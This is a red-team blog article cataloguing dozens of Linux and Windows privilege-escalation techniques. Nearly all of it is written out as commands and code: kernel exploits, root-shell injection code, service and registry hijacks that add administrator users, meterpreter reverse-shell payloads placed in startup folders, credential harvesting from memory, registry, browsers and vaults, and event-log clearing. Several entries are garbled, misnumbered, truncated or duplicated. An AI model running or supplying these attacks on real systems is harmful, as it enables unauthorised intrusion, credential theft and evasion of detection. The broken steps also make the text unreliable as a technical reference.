74 Methods for Privilege Escalation (Part 2)

In this article, we examine 74 methods of improving accessibility (second part). For more information about this concept, visit the Hadess blog.

hadess August 12, 2022 Category: Red Team

is the concept of privilege escalation. At its core, privilege escalation refers to a scenario where an attacker gains access to the privileges or functions of a system that are typically reserved for higher-level users.

There are two primary types: vertical and horizontal escalation. In vertical escalation, an attacker with lower-level permissions elevates their privileges to those of a higher-level user, typically an administrator. This allows them to access restricted areas, modify system configurations, or even deploy malware. Horizontal escalation, on the other hand, involves accessing resources or functionalities that belong to peer users and exploiting the permissions of similarly privileged accounts.

The danger of privilege escalation is evident. By elevating their privileges, attackers can bypass cybersecurity measures, compromising data integrity, confidentiality, and system availability. For organizations, this can translate to data breaches, system downtimes, and potential legal and reputational ramifications. Recognizing the signs of privilege escalation and deploying preventive cybersecurity measures is essential for safeguarding digital assets and ensuring that only authorized personnel have access to critical system functionalities.

Given the ever-evolving landscape of cybersecurity, staying vigilant against threats like privilege escalation is paramount. It underscores the importance of continually updating security protocols, monitoring system activities, and ensuring that user roles and permissions are correctly assigned and regularly audited. In doing so, organizations can mitigate the risks associated with unauthorized access and maintain a robust defense against potential cyber adversaries.

Now that we are well acquainted with this concept, we will continue to examine 74 methods of this Privilege Escalation concept:

Local Admin: Yes

OS: Linux

Type: 0/1 Exploit

Methods: gcc -pthread c0w.c -o c0w; ./c0w; passwd; id

CVE-2016-1531

Domain: No

Local Admin: Yes

OS: Linux

Type: 0/1 Exploit

Methods: CVE-2016-1531.sh;id

Polkit

Domain: No

Local Admin: Yes

OS: Linux

Type: 0/1 Exploit

Methods:

DirtyPipe

Domain: No

Local Admin: Yes

OS: Linux

Type: 0/1 Exploit

Methods:

1. ./traitor-amd64 –exploit kernel:CVE-2022-0847
2. Whoami;id

PwnKit

Domain: No

Local Admin: Yes

OS: Linux

Type: 0/1 Exploit

Methods:

1. ./cve-2021-4034
2. Whoami;id

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

- msf > use exploit/windows/local/ms14_058_track_popup_menu
- msf exploit(ms14_058_track_popup_menu) > set TARGET < target-id >
- msf exploit(ms14_058_track_popup_menu) > exploit

Hot Potato

Domain: No

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

1. In command prompt type: powershell.exe -nop -ep bypass
2. In Power Shell prompt type: Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
3. In Power Shell prompt type: Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
4. To confirm that the attack was successful, in Power Shell prompt type: net localgroup administrators

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

1. execute -H -f sysret.exe -a "-pid [pid]"

PrintNightmare

Domain: Yes

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

1.

https://github.com/outflanknl/PrintNightmare

2. PrintNightmare 10.10.10.10 exp.dll

Folina

Domain: Y/N

Type: 0/1 Exploit

Methods:

1.

https://github.com/JohnHammond/msdt-follina

2. python3 follina.py -c "notepad"

ALPC

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

1.

https://github.com/riparino/Task_Scheduler_ALPC

RemotePotato0

Domain: Y/N

Local Admin: Yes

Methods:

1. sudo ntlmrelayx.py -t ldap://10.0.0.10 –no-wcf-server –escalate-user normal_user
2. .\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1

CVE-2022-26923

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

1. certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
2. Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

MS14-068

Domain: Y/N

Local Admin: Yes

OS: Windows

1. python ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc

Sudo LD_PRELOAD

Domain: No

Local Admin: Yes

OS: Linux

Type: Injection

Methods:

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

1. void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0);system("/bin/bash"); }
2. gcc -fPIC -shared -o /tmp/ldreload.so ldreload.c -nostartfiles
3. sudo LD_RELOAD=tmp/ldreload.so apache2

Abusing File Permission via SUID Binaries – .so injection)

Domain: No

Local Admin: Yes

Methods:

1. Mkdir /home/user/.config

2.

```
#include <stdio.h>

#include <stdlib.h>

static void inject() _attribute_((constructor));

void inject(){

 system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");

}
```

3. gcc -shared -o /home/user/.config/libcalc.so -fPIC/home/user/.config/libcalc.c

4. /usr/local/bin/suid-so

id

DLL Injection

Domain: No

Local Admin: Yes

Methods:

1. RemoteDLLInjector64

Or

MemJect

Or

https://github.com/tomcarver16/BOF-DLL-Inject

2. #define PROCESS_NAME "csgo.exe"

Or

RemoteDLLInjector64.exe pid C:\runforpriv.dll

Or

mandllinjection ./runforpriv.dll pid

Early Bird Injection

Domain: No

Local Admin: Yes

OS: Windows

1.

hollow svchost.exe pop.bin

Process Injection through Memory Section

Domain: No

Local Admin: Yes

OS: Windows

Type: Injection

Methods:

1. sec-shinject PID /path/to/bin

Abusing Scheduled Tasks via Cron Path Overwrite

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing Scheduled Tasks

Methods:

4. /tmp/bash -p
5. id && whoami

Abusing Scheduled Tasks via Cron Wildcards

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing Scheduled Tasks

Methods:

6. echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/systemupdate.sh;
7. touch /home/user/ –checkpoint=1;
8. touch /home/user/ –checkpoint-action=exec=sh\systemupdate.sh
9. Wait a while
10. /tmp/bash -p
11. id && whoami

Abusing File Permission via SUID Binaries – Symlink)

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing File Permission

2. nginxed-root.sh /var/log/nginx/error.log;

3. In root user

4. invoke-rc.d nginx rotate >/dev/null 2>&1

Abusing File Permission via SUID Binaries – Environment Variables #1)

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing File Permission

Methods:

1. echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' >/tmp/service.c;

2. gcc /tmp/services.c -o /tmp/service;

3. export PATH=/tmp:$PATH;

4. /usr/local/bin/sudi-env; id

Abusing File Permission via SUID Binaries – Environment Variables #2)

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing File Permission

+S /tmp/bash} /bin/sh -c /usr/local/bin/suid-env2; set +x; /tmp/bash -p'

DLL Hijacking

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1. Windows_dll.c: cmd.exe /k net localgroup administrators user /add
2. x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll
3. sc stop dllsvc & sc start dllsvc

Abusing Services via binPath

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1. sc config daclsvc binpath= "net localgroup administrators user /add"

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1. msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
2. Place common.exe in 'C:\Program Files\Unquoted Path Service'.
3. sc start unquotedsvc

Abusing Services via Registry

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1. reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t
2. REG_EXPAND_SZ /d c:\temp\x.exe /f
3. sc start regsvc

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1. copy /y c:\Temp\x.exe "c:\Program Files\File Permissions Service\filepermservice.exe"
2. sc start filepermsvc

Abusing Services via Autorun

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

In Metasploit (msf > prompt) type: use multi/handler

In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp

In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]

msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe -o

program.exe

2.

Place program.exe in 'C:\Program Files\Autorun Program'.

Abusing Services via AlwaysInstallElevated

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

msfvenom -p windows/exec CMD='net localgroup

administrators user /add' -f msi-nouac -o setup.msi

2.

msiexec /quiet /qn /i C:\Temp\setup.msi

Abusing Services via SeCreateToken

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

.load C:\dev\PrivEditor\x64\Release\PrivEditor.dll

2.

!rmpriv

Abusing Services via SeDebug

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Conjure-LSASS

Or

syscall_enable_priv 20

Remote Process via Syscalls (HellsGate|HalosGate)

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

injectEtwBypass pid

Escalate With DuplicateTokenEx

Domain: Yes

Local Admin: Yes

OS: Windows

PrimaryTokenTheft.exe pid

Or

TokenPlaye.exe -impersonate -pid pid

Abusing Services via SeIncreaseBasePriority

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

start /realtime SomeCpuIntensiveApp.exe

Abusing Services via SeManageVolume

Domain: No

Local Admin: Yes

OS: Windows

1.

Just only compile and run SeManageVolumeAbuse

Abusing Services via SeRelabel

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

WRITE_OWNER access to a resource, including files and folders.

2.

Run for privilege escalation

Abusing Services via SeRestore

Domain: No

Local Admin: Yes

Methods:

1. Launch PowerShell/ISE with the SeRestore privilege present.

2. Enable the privilege with Enable-SeRestorePrivilege).

3. Rename utilman.exe to utilman.old

4. Rename cmd.exe to utilman.exe

5. Lock the console and press Win+U

Abuse via SeBackup

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

In Metasploit (msf > prompt) type: use auxiliary/server/capture/http_basic

In Metasploit (msf > prompt) type: set uripath x

In taskmgr and right-click on the "iexplore.exe" in the "Image Name" column

and select "Create Dump File" from the popup menu.

3.

strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"

Select the Copy the Base64 encoded string.

In command prompt type: echo -ne [Base64 String] | base64 -d

Abusing via SeCreatePagefile

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

HIBR2BIN /PLATFORM X64 /MAJOR 6 /MINOR 1 /INPUT hiberfil.sys /OUTPUT uncompressed.bin

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

.load C:\dev\PrivEditor\x64\Release\PrivEditor.dll

2.

TrustExec.exe -m exec -c "whoami /priv" -f

Abusing via SeTakeOwnership

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1. takeown.exe /f "%windir%\system32"

4. Lock the console and press Win+U

Abusing via SeTcb

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

PSBits

Or

PrivFu

2.

psexec.exe -i -s -d cmd.exe

Abusing via SeTrustedCredManAccess

Domain: No

Type: Abuse Privilege

Methods:

1.

.load C:\dev\PrivEditor\x64\Release\PrivEditor.dll

Or

CredManBOF

2.

TrustExec.exe -m exec -c "whoami /priv" -f

Abusing tokens via SeAssignPrimaryToken

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

https://github.com/decoder-it/juicy_2

https://github.com/antonioCoco/RoguePotato

Abusing via SeCreatePagefile

Domain: No

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

1.

./WELA.ps1 -LogFile .\Security.evtx -EventIDStatistics

2.

flog -s 10s -n 200

Or

invoke-module LogCleaner.ps1

Certificate Abuse

Domain: Yes

Type: Abusing Certificate

Methods:

1.

ceritify.exe request /ca:dc.domain.local\DC-CA /template:User...

2.

Rubeus.exe asktgy /user:CORP\itadmin /certificate:C:\cert.pfx /password:password

Password Mining in Memory

Domain: No

Local Admin: Yes

OS: Linux

Type: Enumeration & Hunt

Methods:

3. ps -ef | grep ftp;
4. gdp -p ftp_id
5. info proc mappings
6. q
7. dump memory /tmp/mem [start] [end]

Password Mining in Memory

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

In Metasploit (msf > prompt) type: use auxiliary/server/capture/http_basic

In Metasploit (msf > prompt) type: set uripath x

In Metasploit (msf > prompt) type: run

2.

In taskmgr and right-click on the "iexplore.exe" in the "Image Name" column

and select "Create Dump File" from the popup menu.

3.

strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"

Password Mining in Registry

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

Open command and type:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v

DefaultUsername

2.

In command prompt type:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v

DefaultPassword

3.

In command prompt type:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42

-v ProxyUsername

5.

In command prompt type:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42

-v ProxyPassword

6. Notice the credentials, from the output.

7.

In command prompt type:

reg query HKEY_CURRENT_USER\Software\TightVNC\Server /v Password

8.

In command prompt type:

reg query HKEY_CURRENT_USER\Software\TightVNC\Server /v PasswordViewOnly

C:\Users\User\Desktop\Tools\vncpwd\vncpwd.exe [Encrypted Password]

10.

From the output, make note of the credentials.

Password Mining in General Events via SeAudit

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

./WELA.ps1 -LogFile .\Security.evtx -EventIDStatistics

2.

flog -s 10s -n 200

Or

invoke-module LogCleaner.ps1

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

./WELA.ps1 -LogFile .\Security.evtx -EventIDStatistics

2.

flog -s 10s -n 200

Or

wevtutil cl Security

Startup Applications

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

In Metasploit (msf > prompt) type: use multi/handler

In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp

In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]

In Metasploit (msf > prompt) type: run

Open another command prompt and type:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Kali VM IP Address] -f exe -o

x.exe

2.

Place x.exe in "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup".

Password Mining in McAfeeSitelistFiles

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

Password Mining in CachedGPPPassword

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

SharpUp.exe CachedGPPPassword

Password Mining in DomainGPPPassword

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

Seatbelt.exe keepass

Or

KeeTheft.exe

Password Mining in WindowsVault

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

Password Mining in SecPackageCreds

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

Seatbelt.exe SecPackageCreds

Password Mining in PuttyHostKeys

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

Seatbelt.exe RDCManFiles

Password Mining in RDPSavedConnections

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

Seatbelt.exe RDPSavedConnections

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

SharpDPAPI masterkeys

Password Mining in Browsers

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

SharpWeb.exe all

Password Mining in Files

Domain: No

Type: Enumeration & Hunt

Methods:

1.

SauronEye.exe -d C:\Users\vincent\Desktop\ –filetypes .txt .doc .docx .xls –contents –keywords password pass* -v`

Password Mining in LDAP

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

SharpLDAPSearch.exe "(&(objectClass=user)(cn=*svc*))" "samaccountname"

Or

Import-Module .\PowerView.ps1

Password Mining in Clipboard

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

execute-assembly /root/SharpClipHistory.exe

Password Mining in GMSA Password

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunt

Methods:

1.

GMSAPasswordReader.exe -accountname SVC_SERVICE_ACCOUNT

Local Admin: Yes

OS: Windows/Linux

Type: Delegate tokens

Methods:

1.

./fake_rdp.py

Or

pyrdp-mitm.py 192.168.1.10 -k private_key.pem -c certificate.pem

Delegate tokens via FTP

Domain: No

Local Admin: Yes

OS: Windows/Linux

Type: Delegate tokens

Methods:

1.

FileSystem fileSystem = new WindowsFakeFileSystem();

fileSystem.add(new DirectoryEntry("c:\\data"));

fileSystem.add(new FileEntry("c:\\data\\file1.txt", "abcdef 1234567890"));

fileSystem.add(new FileEntry("c:\\data\\run.exe"));

fakeFtpServer.setFileSystem(fileSystem);

fakeFtpServer.start();

Fake Logon Screen

Domain: No

Local Admin: Yes

OS: Windows

Type: Delegate tokens

Methods:

1.

execute-assembly fakelogonscreen.exe

Local Admin: Yes

OS: Windows

Type: Abuse Service

Methods:

1.

RogueWinRM.exe -p C:\windows\system32\cmd.exe